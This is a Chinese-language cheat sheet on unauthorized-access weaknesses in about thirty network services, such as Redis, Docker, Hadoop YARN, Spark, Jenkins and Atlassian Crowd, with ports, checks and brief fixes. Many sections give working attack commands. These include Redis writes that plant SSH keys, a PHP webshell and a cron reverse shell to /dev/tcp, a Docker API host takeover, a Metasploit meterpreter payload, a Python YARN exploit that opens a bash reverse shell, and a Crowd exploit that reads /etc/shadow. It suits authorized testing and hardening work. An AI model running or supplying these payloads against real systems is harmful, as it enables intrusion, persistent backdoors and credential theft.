未授权访问漏洞全面指南
1. MongoDB未授权访问漏洞
端口: 27017
环境部署
docker search mongodb # 从Docker Hub查找镜像
docker pull mongo # 从镜像仓库中拉取或更新指定镜像
docker images mongo # 列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建新容器并运行命令
docker ps # 显示正在运行的容器
验证方法
nmap -p 27017 --script mongodb-info <ip>
2. Redis未授权访问漏洞
端口: 6379
环境部署
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
make
# 编译成功后进入src目录并将redis-server和redis-cli拷贝到/usr/bin目录下
# 将redis.conf复制到/etc/
vim /etc/redis.conf
# 注释bind 127.0.0.1或改成0.0.0.0
# protected-mode no
漏洞利用方法
方法1: 利用SSH公钥
ssh-keygen -t rsa # 创建公钥和私钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub) > test.txt
cat test.txt | redis-cli -h 152.136.186.111 -x set crack
redis-cli -h ip
config get dir # 查看备份路径
config set dir /root/.ssh # 更改备份路径
config set dbfilename authorized_keys # 设置备份文件名
save
quit
ssh -i id_rsa root@192.168.52.251 # 通过私钥连接
方法2: 写入Webshell
redis-cli -h 192.168.52.251
config set dir /var/www/html/
config set dbfilename shell.php
set shell "<?php phpinfo();?>"
save
方法3: 反弹Shell
config set dir /var/spool/cron
config set dbfilename root
set xx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1\n\n"
save
方法4: Redis 4.x/5.x主从复制命令执行
# 下载exp脚本: https://github.com/n0b0dyCN/redis-rogue-server
cd RedisModulesSDK/exp/
make
python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128 --lport 4444
3. Memcached未授权访问漏洞
端口: 11211
漏洞扫描
nmap -sV -p11211 --script memcached-info 192.168.96.128
漏洞利用
telnet 192.168.96.128 11211
nc -vv 192.168.96.128 11211
4. Jboss未授权访问漏洞
端口: 8080
利用方法1
访问 /jmx-console/,默认admin/admin登录,找到flavor=URL, type=DeploymentScanner,上传war包
利用方法2
使用脚本: https://github.com/joaomatosf/jexboss
5. VNC未授权访问漏洞
端口: 5900, 5901
使用VNC Viewer进行漏洞利用
6. Docker未授权访问漏洞
端口: 2375
漏洞验证
ip:2375/info
ip:2375/images/json
利用方法1
docker -H tcp://10.1.1.200 ps -a # 列出所有容器
docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt --entrypoint /bin/bash 4c9608fd76ba
# 或
docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh
利用方法2: 写SSH公钥
ssh-keygen -t rsa
# 将公钥写入目标/root/.ssh/authorized_keys
利用方法3: 写定时任务
# 通过挂载目录写入定时任务
7. Rsync未授权访问漏洞
端口: 873
连接方法
rsync rsync://ip:873
rsync 1.txt rsync://ip:873/src/home/ # 上传文件
rsync -av rsync://ip:873/src/etc/passwd ./ # 下载文件
漏洞修复
- 修改配置文件
list=false - 设置只读
Read only=true - 网络访问控制
- 账户认证
- 数据加密传输
8. FTP未授权访问漏洞
端口: 21
访问ftp://ip:port
9. LDAP未授权访问
端口: 389
使用ldapbrowser工具直接连接: https://ldapbrowserwindows.com/
漏洞修复
- 修改ldap的acl,禁止匿名访问
- 设置访问白名单/黑名单
10. ZooKeeper未授权访问
端口: 2181
漏洞验证
echo envi|nc 192.168.131.128 2181 # 获取服务器环境信息
echo stat |nc 192.168.131.128 2181
漏洞修复
- 配置访问权限
- 设置防火墙策略
- 禁止直接暴露在公网
11. Docker Registry未授权
端口: 5000
安全建议
- 设置ACL,只允许信任IP连接
- 开启TLS认证
12. Kibana未授权访问
端口: 5601
直接访问http://ip:5601无需认证
漏洞修复
- 设置监听本地地址
- 设置ElasticSearch登录账号密码
- 设置防火墙策略
13. CouchDB未授权访问
端口: 5984
漏洞验证
curl 192.168.126.130:5984
curl 192.168.126.130:5984/_config
漏洞修复
- 修改
/etc/couchdb/local.ini中bind_address = 127.0.0.1 - 设置访问密码
- 设置WWW-Authenticate
14. Apache Spark未授权访问
端口: 6066, 8081, 8082
利用方法
使用Metasploit:
use exploit/linux/http/spark_unauth_rce
set payload java/meterpreter/reverse_tcp
set rhost 192.168.100.2
set rport 6066
set lhost 192.168.100.1
set lport 4444
set srvhost 192.168.100.1
set srvport 8080
exploit
漏洞修复
- 关闭敏感端口
- 配置用户权限认证
15. Weblogic未授权访问
端口: 7001
漏洞验证
访问http://ip:7001/console/css/%252e%252e%252fconsole.portal
16. Hadoop YARN未授权访问
端口: 8088
漏洞利用
#!/usr/bin/env python
import requests
target = 'http://192.168.126.130:8088/'
lhost = '192.168.126.128'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
漏洞修复
- 升级Hadoop并启用Kerberos认证
- 设置安全组访问控制
- 关闭Web管理页面
17. Jenkins未授权访问
端口: 8080
漏洞验证
访问http://target:8080/manage或http://target:8080/script
执行命令:
println 'whoami'.execute().text
漏洞修复
- 添加登录验证
- 升级Jenkins
- 禁止直接暴露在公网
18. Kubernetes Api Server未授权
端口: 8080, 10250
漏洞修复
- 进行授权认证
- 使用Service Account令牌
- 设置防火墙策略
19. ActiveMQ未授权访问
端口: 8161
默认密码: admin/admin
漏洞修复
- 修改
conf/jetty.xml中authenticate=true - 修改用户名密码
20. Jupyter Notebook未授权访问
端口: 8888
直接访问http://ip:8888可执行任意命令
漏洞修复
- 开启身份验证
- 限制IP访问
21. Elasticsearch未授权访问
端口: 9200, 9300
漏洞验证
http://ip:9200
http://ip:9200/_cat/
http://ip:9200/_cat/indices
http://ip:9200/_river/_search
http://ip:9200/_nodes/
http://ip:9200/_plugin/head/
漏洞修复
- 限制IP访问
- 设置认证
22. Zabbix未授权访问
端口: 10051
漏洞修复
- 设置复杂口令
- 禁用guest登录
- 不要以root启动
23. RabbitMQ未授权访问
端口: 15672, 15692, 25672
默认账号密码: guest/guest
漏洞修复
- 修改为强密码
- 删除默认账号
- 禁止对外网开放
24. NFS未授权访问
端口: 2049, 20048
利用方法
apt install nfs-common
showmount -e 192.168.126.130
mount -t nfs 192.168.126.130:/grdata /mnt
漏洞修复
- 限制端口访问
- 设置
/etc/exports访问控制
25. Dubbo未授权访问
端口: 28096
漏洞修复
- 配置认证
- 设置防火墙策略
26. Druid未授权访问
漏洞验证
访问:
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
漏洞修复
- 配置账号密码
- 禁止对外网开放
27. Solr未授权访问
漏洞检测
访问/solr/admin
漏洞修复
- 配置访问控制
- 禁止暴露在公网
28. SpringBoot Actuator未授权访问
漏洞检测
/actuator/autoconfig
/actuator/env
/actuator/dump
/actuator/headdump
漏洞修复
- 禁用/env接口
- 升级到2.0+
- 禁止对外开放
29. SwaggerUI未授权访问
常见路径
/api
/api-docs
/api-docs/swagger.json
/api.html
/swagger-ui.html
/swagger-ui.json
修复方法
- 设置访问权限
30. Harbor未授权添加管理员
漏洞地址: http://ip/harbor/sign-in
31. 宝塔phpmyadmin未授权访问
漏洞URL: http://ip:888/pma
32. WordPress未授权访问
参考: https://www.cnblogs.com/bflw/p/12342845.html
33. Atlassian Crowd未授权访问
漏洞利用
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
漏洞修复
- 限制源IP访问
- 升级到3.5.0+